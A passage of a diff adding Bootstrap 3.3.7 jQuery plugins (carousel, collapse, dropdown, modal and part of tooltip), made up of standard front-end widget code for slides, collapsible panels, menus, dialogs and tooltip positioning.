= setInterval($.proxy(this.next, this), this.options.interval)) + + return this + } + + Carousel.prototype.getItemIndex = function (item) { + this.$items = item.parent().children('.item') + return this.$items.index(item || this.$active) + } + + Carousel.prototype.getItemForDirection = function (direction, active) { + var activeIndex = this.getItemIndex(active) + var willWrap = (direction == 'prev' && activeIndex === 0) + || (direction == 'next' && activeIndex == (this.$items.length - 1)) + if (willWrap && !this.options.wrap) return active + var delta = direction == 'prev' ? -1 : 1 + var itemIndex = (activeIndex + delta) % this.$items.length + return this.$items.eq(itemIndex) + } + + Carousel.prototype.to = function (pos) { + var that = this + var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active')) + + if (pos > (this.$items.length - 1) || pos < 0) return + + if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid" + if (activeIndex == pos) return this.pause().cycle() + + return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos)) + } + + Carousel.prototype.pause = function (e) { + e || (this.paused = true) + + if (this.$element.find('.next, .prev').length && $.support.transition) { + this.$element.trigger($.support.transition.end) + this.cycle(true) + } + + this.interval = clearInterval(this.interval) + + return this + } + + Carousel.prototype.next = function () { + if (this.sliding) return + return this.slide('next') + } + + Carousel.prototype.prev = function () { + if (this.sliding) return + return this.slide('prev') + } + + Carousel.prototype.slide = function (type, next) { + var $active = this.$element.find('.item.active') + var $next = next || this.getItemForDirection(type, $active) + var isCycling = this.interval + var direction = type == 'next' ? 'left' : 'right' + var that = this + + if ($next.hasClass('active')) return (this.sliding = false) + + var relatedTarget = $next[0] + var slideEvent = $.Event('slide.bs.carousel', { + relatedTarget: relatedTarget, + direction: direction + }) + this.$element.trigger(slideEvent) + if (slideEvent.isDefaultPrevented()) return + + this.sliding = true + + isCycling && this.pause() + + if (this.$indicators.length) { + this.$indicators.find('.active').removeClass('active') + var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)]) + $nextIndicator && $nextIndicator.addClass('active') + } + + var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid" + if ($.support.transition && this.$element.hasClass('slide')) { + $next.addClass(type) + $next[0].offsetWidth // force reflow + $active.addClass(direction) + $next.addClass(direction) + $active + .one('bsTransitionEnd', function () { + $next.removeClass([type, direction].join(' ')).addClass('active') + $active.removeClass(['active', direction].join(' ')) + that.sliding = false + setTimeout(function () { + that.$element.trigger(slidEvent) + }, 0) + }) + .emulateTransitionEnd(Carousel.TRANSITION_DURATION) + } else { + $active.removeClass('active') + $next.addClass('active') + this.sliding = false + this.$element.trigger(slidEvent) + } + + isCycling && this.cycle() + + return this + } + + + // CAROUSEL PLUGIN DEFINITION + // ========================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.carousel') + var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) + var action = typeof option == 'string' ? option : options.slide + + if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) + if (typeof option == 'number') data.to(option) + else if (action) data[action]() + else if (options.interval) data.pause().cycle() + }) + } + + var old = $.fn.carousel + + $.fn.carousel = Plugin + $.fn.carousel.Constructor = Carousel + + + // CAROUSEL NO CONFLICT + // ==================== + + $.fn.carousel.noConflict = function () { + $.fn.carousel = old + return this + } + + + // CAROUSEL DATA-API + // ================= + + var clickHandler = function (e) { + var href + var $this = $(this) + var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7 + if (!$target.hasClass('carousel')) return + var options = $.extend({}, $target.data(), $this.data()) + var slideIndex = $this.attr('data-slide-to') + if (slideIndex) options.interval = false + + Plugin.call($target, options) + + if (slideIndex) { + $target.data('bs.carousel').to(slideIndex) + } + + e.preventDefault() + } + + $(document) + .on('click.bs.carousel.data-api', '[data-slide]', clickHandler) + .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler) + + $(window).on('load', function () { + $('[data-ride="carousel"]').each(function () { + var $carousel = $(this) + Plugin.call($carousel, $carousel.data()) + }) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: collapse.js v3.3.7 + * http://getbootstrap.com/javascript/#collapse + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + +/* jshint latedef: false */ + ++function ($) { + 'use strict'; + + // COLLAPSE PUBLIC CLASS DEFINITION + // ================================ + + var Collapse = function (element, options) { + this.$element = $(element) + this.options = $.extend({}, Collapse.DEFAULTS, options) + this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' + + '[data-toggle="collapse"][data-target="#' + element.id + '"]') + this.transitioning = null + + if (this.options.parent) { + this.$parent = this.getParent() + } else { + this.addAriaAndCollapsedClass(this.$element, this.$trigger) + } + + if (this.options.toggle) this.toggle() + } + + Collapse.VERSION = '3.3.7' + + Collapse.TRANSITION_DURATION = 350 + + Collapse.DEFAULTS = { + toggle: true + } + + Collapse.prototype.dimension = function () { + var hasWidth = this.$element.hasClass('width') + return hasWidth ? 'width' : 'height' + } + + Collapse.prototype.show = function () { + if (this.transitioning || this.$element.hasClass('in')) return + + var activesData + var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing') + + if (actives && actives.length) { + activesData = actives.data('bs.collapse') + if (activesData && activesData.transitioning) return + } + + var startEvent = $.Event('show.bs.collapse') + this.$element.trigger(startEvent) + if (startEvent.isDefaultPrevented()) return + + if (actives && actives.length) { + Plugin.call(actives, 'hide') + activesData || actives.data('bs.collapse', null) + } + + var dimension = this.dimension() + + this.$element + .removeClass('collapse') + .addClass('collapsing')[dimension](0) + .attr('aria-expanded', true) + + this.$trigger + .removeClass('collapsed') + .attr('aria-expanded', true) + + this.transitioning = 1 + + var complete = function () { + this.$element + .removeClass('collapsing') + .addClass('collapse in')[dimension]('') + this.transitioning = 0 + this.$element + .trigger('shown.bs.collapse') + } + + if (!$.support.transition) return complete.call(this) + + var scrollSize = $.camelCase(['scroll', dimension].join('-')) + + this.$element + .one('bsTransitionEnd', $.proxy(complete, this)) + .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize]) + } + + Collapse.prototype.hide = function () { + if (this.transitioning || !this.$element.hasClass('in')) return + + var startEvent = $.Event('hide.bs.collapse') + this.$element.trigger(startEvent) + if (startEvent.isDefaultPrevented()) return + + var dimension = this.dimension() + + this.$element[dimension](this.$element[dimension]())[0].offsetHeight + + this.$element + .addClass('collapsing') + .removeClass('collapse in') + .attr('aria-expanded', false) + + this.$trigger + .addClass('collapsed') + .attr('aria-expanded', false) + + this.transitioning = 1 + + var complete = function () { + this.transitioning = 0 + this.$element + .removeClass('collapsing') + .addClass('collapse') + .trigger('hidden.bs.collapse') + } + + if (!$.support.transition) return complete.call(this) + + this.$element + [dimension](0) + .one('bsTransitionEnd', $.proxy(complete, this)) + .emulateTransitionEnd(Collapse.TRANSITION_DURATION) + } + + Collapse.prototype.toggle = function () { + this[this.$element.hasClass('in') ? 'hide' : 'show']() + } + + Collapse.prototype.getParent = function () { + return $(this.options.parent) + .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]') + .each($.proxy(function (i, element) { + var $element = $(element) + this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element) + }, this)) + .end() + } + + Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) { + var isOpen = $element.hasClass('in') + + $element.attr('aria-expanded', isOpen) + $trigger + .toggleClass('collapsed', !isOpen) + .attr('aria-expanded', isOpen) + } + + function getTargetFromTrigger($trigger) { + var href + var target = $trigger.attr('data-target') + || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7 + + return $(target) + } + + + // COLLAPSE PLUGIN DEFINITION + // ========================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.collapse') + var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) + + if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false + if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + var old = $.fn.collapse + + $.fn.collapse = Plugin + $.fn.collapse.Constructor = Collapse + + + // COLLAPSE NO CONFLICT + // ==================== + + $.fn.collapse.noConflict = function () { + $.fn.collapse = old + return this + } + + + // COLLAPSE DATA-API + // ================= + + $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) { + var $this = $(this) + + if (!$this.attr('data-target')) e.preventDefault() + + var $target = getTargetFromTrigger($this) + var data = $target.data('bs.collapse') + var option = data ? 'toggle' : $this.data() + + Plugin.call($target, option) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: dropdown.js v3.3.7 + * http://getbootstrap.com/javascript/#dropdowns + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // DROPDOWN CLASS DEFINITION + // ========================= + + var backdrop = '.dropdown-backdrop' + var toggle = '[data-toggle="dropdown"]' + var Dropdown = function (element) { + $(element).on('click.bs.dropdown', this.toggle) + } + + Dropdown.VERSION = '3.3.7' + + function getParent($this) { + var selector = $this.attr('data-target') + + if (!selector) { + selector = $this.attr('href') + selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 + } + + var $parent = selector && $(selector) + + return $parent && $parent.length ? $parent : $this.parent() + } + + function clearMenus(e) { + if (e && e.which === 3) return + $(backdrop).remove() + $(toggle).each(function () { + var $this = $(this) + var $parent = getParent($this) + var relatedTarget = { relatedTarget: this } + + if (!$parent.hasClass('open')) return + + if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return + + $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget)) + + if (e.isDefaultPrevented()) return + + $this.attr('aria-expanded', 'false') + $parent.removeClass('open').trigger($.Event('hidden.bs.dropdown', relatedTarget)) + }) + } + + Dropdown.prototype.toggle = function (e) { + var $this = $(this) + + if ($this.is('.disabled, :disabled')) return + + var $parent = getParent($this) + var isActive = $parent.hasClass('open') + + clearMenus() + + if (!isActive) { + if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { + // if mobile we use a backdrop because click events don't delegate + $(document.createElement('div')) + .addClass('dropdown-backdrop') + .insertAfter($(this)) + .on('click', clearMenus) + } + + var relatedTarget = { relatedTarget: this } + $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget)) + + if (e.isDefaultPrevented()) return + + $this + .trigger('focus') + .attr('aria-expanded', 'true') + + $parent + .toggleClass('open') + .trigger($.Event('shown.bs.dropdown', relatedTarget)) + } + + return false + } + + Dropdown.prototype.keydown = function (e) { + if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return + + var $this = $(this) + + e.preventDefault() + e.stopPropagation() + + if ($this.is('.disabled, :disabled')) return + + var $parent = getParent($this) + var isActive = $parent.hasClass('open') + + if (!isActive && e.which != 27 || isActive && e.which == 27) { + if (e.which == 27) $parent.find(toggle).trigger('focus') + return $this.trigger('click') + } + + var desc = ' li:not(.disabled):visible a' + var $items = $parent.find('.dropdown-menu' + desc) + + if (!$items.length) return + + var index = $items.index(e.target) + + if (e.which == 38 && index > 0) index-- // up + if (e.which == 40 && index < $items.length - 1) index++ // down + if (!~index) index = 0 + + $items.eq(index).trigger('focus') + } + + + // DROPDOWN PLUGIN DEFINITION + // ========================== + + function Plugin(option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.dropdown') + + if (!data) $this.data('bs.dropdown', (data = new Dropdown(this))) + if (typeof option == 'string') data[option].call($this) + }) + } + + var old = $.fn.dropdown + + $.fn.dropdown = Plugin + $.fn.dropdown.Constructor = Dropdown + + + // DROPDOWN NO CONFLICT + // ==================== + + $.fn.dropdown.noConflict = function () { + $.fn.dropdown = old + return this + } + + + // APPLY TO STANDARD DROPDOWN ELEMENTS + // =================================== + + $(document) + .on('click.bs.dropdown.data-api', clearMenus) + .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) + .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle) + .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown) + .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: modal.js v3.3.7 + * http://getbootstrap.com/javascript/#modals + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // MODAL CLASS DEFINITION + // ====================== + + var Modal = function (element, options) { + this.options = options + this.$body = $(document.body) + this.$element = $(element) + this.$dialog = this.$element.find('.modal-dialog') + this.$backdrop = null + this.isShown = null + this.originalBodyPad = null + this.scrollbarWidth = 0 + this.ignoreBackdropClick = false + + if (this.options.remote) { + this.$element + .find('.modal-content') + .load(this.options.remote, $.proxy(function () { + this.$element.trigger('loaded.bs.modal') + }, this)) + } + } + + Modal.VERSION = '3.3.7' + + Modal.TRANSITION_DURATION = 300 + Modal.BACKDROP_TRANSITION_DURATION = 150 + + Modal.DEFAULTS = { + backdrop: true, + keyboard: true, + show: true + } + + Modal.prototype.toggle = function (_relatedTarget) { + return this.isShown ? this.hide() : this.show(_relatedTarget) + } + + Modal.prototype.show = function (_relatedTarget) { + var that = this + var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) + + this.$element.trigger(e) + + if (this.isShown || e.isDefaultPrevented()) return + + this.isShown = true + + this.checkScrollbar() + this.setScrollbar() + this.$body.addClass('modal-open') + + this.escape() + this.resize() + + this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) + + this.$dialog.on('mousedown.dismiss.bs.modal', function () { + that.$element.one('mouseup.dismiss.bs.modal', function (e) { + if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true + }) + }) + + this.backdrop(function () { + var transition = $.support.transition && that.$element.hasClass('fade') + + if (!that.$element.parent().length) { + that.$element.appendTo(that.$body) // don't move modals dom position + } + + that.$element + .show() + .scrollTop(0) + + that.adjustDialog() + + if (transition) { + that.$element[0].offsetWidth // force reflow + } + + that.$element.addClass('in') + + that.enforceFocus() + + var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) + + transition ? + that.$dialog // wait for modal to slide in + .one('bsTransitionEnd', function () { + that.$element.trigger('focus').trigger(e) + }) + .emulateTransitionEnd(Modal.TRANSITION_DURATION) : + that.$element.trigger('focus').trigger(e) + }) + } + + Modal.prototype.hide = function (e) { + if (e) e.preventDefault() + + e = $.Event('hide.bs.modal') + + this.$element.trigger(e) + + if (!this.isShown || e.isDefaultPrevented()) return + + this.isShown = false + + this.escape() + this.resize() + + $(document).off('focusin.bs.modal') + + this.$element + .removeClass('in') + .off('click.dismiss.bs.modal') + .off('mouseup.dismiss.bs.modal') + + this.$dialog.off('mousedown.dismiss.bs.modal') + + $.support.transition && this.$element.hasClass('fade') ? + this.$element + .one('bsTransitionEnd', $.proxy(this.hideModal, this)) + .emulateTransitionEnd(Modal.TRANSITION_DURATION) : + this.hideModal() + } + + Modal.prototype.enforceFocus = function () { + $(document) + .off('focusin.bs.modal') // guard against infinite focus loop + .on('focusin.bs.modal', $.proxy(function (e) { + if (document !== e.target && + this.$element[0] !== e.target && + !this.$element.has(e.target).length) { + this.$element.trigger('focus') + } + }, this)) + } + + Modal.prototype.escape = function () { + if (this.isShown && this.options.keyboard) { + this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) { + e.which == 27 && this.hide() + }, this)) + } else if (!this.isShown) { + this.$element.off('keydown.dismiss.bs.modal') + } + } + + Modal.prototype.resize = function () { + if (this.isShown) { + $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this)) + } else { + $(window).off('resize.bs.modal') + } + } + + Modal.prototype.hideModal = function () { + var that = this + this.$element.hide() + this.backdrop(function () { + that.$body.removeClass('modal-open') + that.resetAdjustments() + that.resetScrollbar() + that.$element.trigger('hidden.bs.modal') + }) + } + + Modal.prototype.removeBackdrop = function () { + this.$backdrop && this.$backdrop.remove() + this.$backdrop = null + } + + Modal.prototype.backdrop = function (callback) { + var that = this + var animate = this.$element.hasClass('fade') ? 'fade' : '' + + if (this.isShown && this.options.backdrop) { + var doAnimate = $.support.transition && animate + + this.$backdrop = $(document.createElement('div')) + .addClass('modal-backdrop ' + animate) + .appendTo(this.$body) + + this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { + if (this.ignoreBackdropClick) { + this.ignoreBackdropClick = false + return + } + if (e.target !== e.currentTarget) return + this.options.backdrop == 'static' + ? this.$element[0].focus() + : this.hide() + }, this)) + + if (doAnimate) this.$backdrop[0].offsetWidth // force reflow + + this.$backdrop.addClass('in') + + if (!callback) return + + doAnimate ? + this.$backdrop + .one('bsTransitionEnd', callback) + .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : + callback() + + } else if (!this.isShown && this.$backdrop) { + this.$backdrop.removeClass('in') + + var callbackRemove = function () { + that.removeBackdrop() + callback && callback() + } + $.support.transition && this.$element.hasClass('fade') ? + this.$backdrop + .one('bsTransitionEnd', callbackRemove) + .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : + callbackRemove() + + } else if (callback) { + callback() + } + } + + // these following methods are used to handle overflowing modals + + Modal.prototype.handleUpdate = function () { + this.adjustDialog() + } + + Modal.prototype.adjustDialog = function () { + var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight + + this.$element.css({ + paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', + paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' + }) + } + + Modal.prototype.resetAdjustments = function () { + this.$element.css({ + paddingLeft: '', + paddingRight: '' + }) + } + + Modal.prototype.checkScrollbar = function () { + var fullWindowWidth = window.innerWidth + if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 + var documentElementRect = document.documentElement.getBoundingClientRect() + fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) + } + this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth + this.scrollbarWidth = this.measureScrollbar() + } + + Modal.prototype.setScrollbar = function () { + var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) + this.originalBodyPad = document.body.style.paddingRight || '' + if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) + } + + Modal.prototype.resetScrollbar = function () { + this.$body.css('padding-right', this.originalBodyPad) + } + + Modal.prototype.measureScrollbar = function () { // thx walsh + var scrollDiv = document.createElement('div') + scrollDiv.className = 'modal-scrollbar-measure' + this.$body.append(scrollDiv) + var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth + this.$body[0].removeChild(scrollDiv) + return scrollbarWidth + } + + + // MODAL PLUGIN DEFINITION + // ======================= + + function Plugin(option, _relatedTarget) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.modal') + var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) + + if (!data) $this.data('bs.modal', (data = new Modal(this, options))) + if (typeof option == 'string') data[option](_relatedTarget) + else if (options.show) data.show(_relatedTarget) + }) + } + + var old = $.fn.modal + + $.fn.modal = Plugin + $.fn.modal.Constructor = Modal + + + // MODAL NO CONFLICT + // ================= + + $.fn.modal.noConflict = function () { + $.fn.modal = old + return this + } + + + // MODAL DATA-API + // ============== + + $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { + var $this = $(this) + var href = $this.attr('href') + var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 + var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) + + if ($this.is('a')) e.preventDefault() + + $target.one('show.bs.modal', function (showEvent) { + if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown + $target.one('hidden.bs.modal', function () { + $this.is(':visible') && $this.trigger('focus') + }) + }) + Plugin.call($target, option, this) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: tooltip.js v3.3.7 + * http://getbootstrap.com/javascript/#tooltip + * Inspired by the original jQuery.tipsy by Jason Frame + * ======================================================================== + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // TOOLTIP PUBLIC CLASS DEFINITION + // =============================== + + var Tooltip = function (element, options) { + this.type = null + this.options = null + this.enabled = null + this.timeout = null + this.hoverState = null + this.$element = null + this.inState = null + + this.init('tooltip', element, options) + } + + Tooltip.VERSION = '3.3.7' + + Tooltip.TRANSITION_DURATION = 150 + + Tooltip.DEFAULTS = { + animation: true, + placement: 'top', + selector: false, + template: '', + trigger: 'hover focus', + title: '', + delay: 0, + html: false, + container: false, + viewport: { + selector: 'body', + padding: 0 + } + } + + Tooltip.prototype.init = function (type, element, options) { + this.enabled = true + this.type = type + this.$element = $(element) + this.options = this.getOptions(options) + this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport)) + this.inState = { click: false, hover: false, focus: false } + + if (this.$element[0] instanceof document.constructor && !this.options.selector) { + throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!') + } + + var triggers = this.options.trigger.split(' ') + + for (var i = triggers.length; i--;) { + var trigger = triggers[i] + + if (trigger == 'click') { + this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this)) + } else if (trigger != 'manual') { + var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin' + var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout' + + this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this)) + this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this)) + } + } + + this.options.selector ? + (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) : + this.fixTitle() + } + + Tooltip.prototype.getDefaults = function () { + return Tooltip.DEFAULTS + } + + Tooltip.prototype.getOptions = function (options) { + options = $.extend({}, this.getDefaults(), this.$element.data(), options) + + if (options.delay && typeof options.delay == 'number') { + options.delay = { + show: options.delay, + hide: options.delay + } + } + + return options + } + + Tooltip.prototype.getDelegateOptions = function () { + var options = {} + var defaults = this.getDefaults() + + this._options && $.each(this._options, function (key, value) { + if (defaults[key] != value) options[key] = value + }) + + return options + } + + Tooltip.prototype.enter = function (obj) { + var self = obj instanceof this.constructor ? + obj : $(obj.currentTarget).data('bs.' + this.type) + + if (!self) { + self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) + $(obj.currentTarget).data('bs.' + this.type, self) + } + + if (obj instanceof $.Event) { + self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true + } + + if (self.tip().hasClass('in') || self.hoverState == 'in') { + self.hoverState = 'in' + return + } + + clearTimeout(self.timeout) + + self.hoverState = 'in' + + if (!self.options.delay || !self.options.delay.show) return self.show() + + self.timeout = setTimeout(function () { + if (self.hoverState == 'in') self.show() + }, self.options.delay.show) + } + + Tooltip.prototype.isInStateTrue = function () { + for (var key in this.inState) { + if (this.inState[key]) return true + } + + return false + } + + Tooltip.prototype.leave = function (obj) { + var self = obj instanceof this.constructor ? + obj : $(obj.currentTarget).data('bs.' + this.type) + + if (!self) { + self = new this.constructor(obj.currentTarget, this.getDelegateOptions()) + $(obj.currentTarget).data('bs.' + this.type, self) + } + + if (obj instanceof $.Event) { + self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false + } + + if (self.isInStateTrue()) return + + clearTimeout(self.timeout) + + self.hoverState = 'out' + + if (!self.options.delay || !self.options.delay.hide) return self.hide() + + self.timeout = setTimeout(function () { + if (self.hoverState == 'out') self.hide() + }, self.options.delay.hide) + } + + Tooltip.prototype.show = function () { + var e = $.Event('show.bs.' + this.type) + + if (this.hasContent() && this.enabled) { + this.$element.trigger(e) + + var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0]) + if (e.isDefaultPrevented() || !inDom) return + var that = this + + var $tip = this.tip() + + var tipId = this.getUID(this.type) + + this.setContent() + $tip.attr('id', tipId) + this.$element.attr('aria-describedby', tipId) + + if (this.options.animation) $tip.addClass('fade') + + var placement = typeof this.options.placement == 'function' ? + this.options.placement.call(this, $tip[0], this.$element[0]) : + this.options.placement + + var autoToken = /\s?auto?\s?/i + var autoPlace = autoToken.test(placement) + if (autoPlace) placement = placement.replace(autoToken, '') || 'top' + + $tip + .detach() + .css({ top: 0, left: 0, display: 'block' }) + .addClass(placement) + .data('bs.' + this.type, this) + + this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element) + this.$element.trigger('inserted.bs.' + this.type) + + var pos = this.getPosition() + var actualWidth = $tip[0].offsetWidth + var actualHeight = $tip[0].offsetHeight + + if (autoPlace) { + var orgPlacement = placement + var viewportDim = this.getPosition(this.$viewport) + + placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top' : + placement == 'top' && pos.top - actualHeight < viewportDim.top ? 'bottom' : + placement == 'right' && pos.right + actualWidth > viewportDim.width ? 'left' : + placement == 'left' && pos.left - actualWidth < viewportDim.left ? 'right' : + placement + + $tip + .removeClass(orgPlacement) + .addClass(placement) + } + + var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight) + + this.applyPlacement(calculatedOffset, placement) + + var complete = function () { + var prevHoverState = that.hoverState + that.$element.trigger('shown.bs.' + that.type) + that.hoverState = null + + if (prevHoverState == 'out') that.leave(that) + } + + $.support.transition && this.$tip.hasClass('fade') ? + $tip + .one('bsTransitionEnd', complete) + .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : + complete() + } + } + + Tooltip.prototype.applyPlacement = function (offset, placement) { + var $tip = this.tip() + var width = $tip[0].offsetWidth + var height = $tip[0].offsetHeight + + // manually read margins because getBoundingClientRect includes difference + var marginTop = parseInt($tip.css('margin-top'), 10) + var marginLeft = parseInt($tip.css('margin-left'), 10) + + // we must check for NaN for ie 8/9 + if (isNaN(marginTop)) marginTop = 0 + if (isNaN(marginLeft)) marginLeft = 0 + + offset.top += marginTop + offset.left += marginLeft + + // $.fn.offset doesn't round pixel values + // so we use setOffset directly with our own function B-0 + $.offset.setOffset($tip[0], $.extend({ + using: function (props) { + $tip.css({ + top: Math.round(props.top), + left: Math.round(props.left) + }) + } + }, offset), 0) + + $tip.addClass('in') + + // check to see if placing tip in new offset caused the tip to resize itself + var actualWidth = $tip[0].offsetWidth + var actualHeight = $tip[0].offsetHeight + + if (placement == 'top' && actualHeight != height) { + offset.top = offset.top + height - actualHeight + } + + var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight) + + if (delta.left) offset.left += delta.left + else offset.top += delta.top + + var isVertical = /top|bottom/.test(placement) + var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight + var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight' + + $tip.offset(offset) + this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical) + } + + Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) { + this.arrow() + .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%') + .css(isVertical ? 'top' : 'left', '') + } + + Tooltip.prototype.setContent = function () { + var $tip = this.tip() + var title = this.getTitle() + + $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title) + $tip.removeClass('fade in top bottom left right') + } + + Tooltip.prototype.hide = function (callback) { + var that = this + var $tip = $(this.$tip) + var e = $.Event('hide.bs.' + this.type) + + function complete() { + if (that.hoverState != 'in') $tip.detach() + if (that.$element) { // TODO: Check whether guarding this code with this `if` is really necessary. + that.$element + .removeAttr('aria-describedby') + .trigger('hidden.bs.' + that.type) + } + callback && callback() + } + + this.$element.trigger(e) + + if (e.isDefaultPrevented()) return + + $tip.removeClass('in') + + $.support.transition && $tip.hasClass('fade') ? + $tip + .one('bsTransitionEnd', complete) + .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) : + complete() + + this.hoverState = null + + return this + } + + Tooltip.prototype.fixTitle = function () { + var $e = this.$element + if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') { + $e.attr('data-original-title', $e.attr('title') || '').attr('title', '') + } + } + + Tooltip.prototype.hasContent = function () { + return this.getTitle() + } + + Tooltip.prototype.getPosition = function ($element) { + $element = $element || this.$element + + var el = $element[0] + var isBody = el.tagName == 'BODY' + + var elRect = el.getBoundingClientRect() + if (elRect.width == null) { + // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093 + elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top }) + } + var isSvg = window.SVGElement && el instanceof window.SVGElement + // Avoid using $.offset() on SVGs since it gives incorrect results in jQuery 3. + // See https://github.com/twbs/bootstrap/issues/20280 + var elOffset = isBody ? { top: 0, left: 0 } : (isSvg ? null : $element.offset()) + var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() } + var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null + + return $.extend({}, elRect, scroll, outerDims, elOffset) + } + + Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) { + return placement == 'bottom' ? { top: pos.top + pos.height, 